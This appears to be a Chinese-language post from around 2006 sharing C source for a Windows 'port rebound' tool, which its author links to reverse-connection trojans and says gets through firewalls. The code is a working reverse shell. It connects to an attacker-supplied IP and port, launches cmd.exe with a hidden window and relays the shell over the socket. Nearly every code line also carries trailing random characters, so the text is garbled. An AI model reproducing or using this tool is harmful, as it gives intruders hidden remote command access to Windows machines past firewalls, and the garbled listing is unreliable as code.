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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ot2zY dWAz  
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/* ============================== iu*&Jz)D>  
Rebound port in Windows NT 4e eh+T  
By wind,2006/7 dQ-shfTr]  
===============================*/ \,X)!%6kZ  
#include 1n&%L8]  
#include 4%8den,|  
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#pragma comment(lib,"wsock32.lib") u^|cG{i5"  
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void OutputShell(); g] }!  
SOCKET sClient; z,E`+a;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p4k}B. f  
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void main(int argc,char **argv) irq{ 21  
{ [wm0a4fg  
WSADATA stWsaData; 9$e$L~I#u  
int nRet; 3imsIBr  
SOCKADDR_IN stSaiClient,stSaiServer; +^esL9RG:  
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if(argc != 3) ~CV.Ci.dG  
{ w|S b`eR  
printf("Useage:\n\rRebound DestIP DestPort\n"); tA< UkPT  
return;  ^,ISz-4  
} rb4;@&  
Y G8C<g6E7  
WSAStartup(MAKEWORD(2,2),&stWsaData); KN657 |f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); & C)1(  
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stSaiClient.sin_family = AF_INET; uQx/o ^  
stSaiClient.sin_port = htons(0); I}|a7,8   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BLaNS4e  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9D M,,h<`  
{ >2pxl(i  
printf("Bind Socket Failed!\n"); RC1bTM  
return; et)n`NlcK  
} ^W:a7cMw  
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stSaiServer.sin_family = AF_INET; ~M H ^R1=]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NNqvjM-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Cx/J_Ro#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V~/-e- 9u  
{ F09%f"9  
printf("Connect Error!"); L YB @L06a  
return; R59iuHQ[  
} KU(BY}/ ^  
OutputShell(); =_C&lc"  
} e<9 ^h)G  
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void OutputShell() &Lt$~}*&6  
{ Zv9JkY=+@  
char szBuff[1024]; #9[>  
SECURITY_ATTRIBUTES stSecurityAttributes; Q[NoFZ V!  
OSVERSIONINFO stOsversionInfo; z{w %pUn}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9,_~qWw  
STARTUPINFO stStartupInfo; uQdy  
char *szShell; ^ }5KM87  
PROCESS_INFORMATION stProcessInformation; RDHK'PGA  
unsigned long lBytesRead; \C>IVz<O  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J Hm Pa  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ><"|>(y  
stSecurityAttributes.lpSecurityDescriptor = 0; WZ,k][~  
stSecurityAttributes.bInheritHandle = TRUE; K*DH_\SPK  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I|&DXF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #>:S&R?2t  
YV|_y:-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Et }%)M  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _)= e`9%  
stStartupInfo.wShowWindow = SW_HIDE; ]W Yub1  
stStartupInfo.hStdInput = hReadPipe; 4<UAT|L^`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /"A=Yf  
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GetVersionEx(&stOsversionInfo); b~tu;:  
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switch(stOsversionInfo.dwPlatformId) M"s:*c_6  
{ Gchs$^1`t  
case 1: \Q}Y"oq  
szShell = "command.com"; RZ{O6~VH  
break; s=jH1^  
default: %2I>-0]B  
szShell = "cmd.exe"; )ej1)RU"  
break; GQYn |vm  
} nxuH22:  
`.~S/$a.&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _qf~ hhi  
\ Qx%7 6  
send(sClient,szMsg,77,0); d\3 %5Y  
while(1) 7\g#'#K  
{ _>`9]6\&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;J+iwS*Z  
if(lBytesRead) ;Q vQ fV4  
{ kzCJs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (m! kg  
send(sClient,szBuff,lBytesRead,0); fHZ9wK>  
} (r?hD*2r  
else yId1J  
{ .6rbn8h  
lBytesRead=recv(sClient,szBuff,1024,0); Sw>>]UjU  
if(lBytesRead<=0) break; V+lS\E.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b1'849i'y=  
} g^|R;s{  
} v]Pyz<+  
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return; 2o[ceEg  
}
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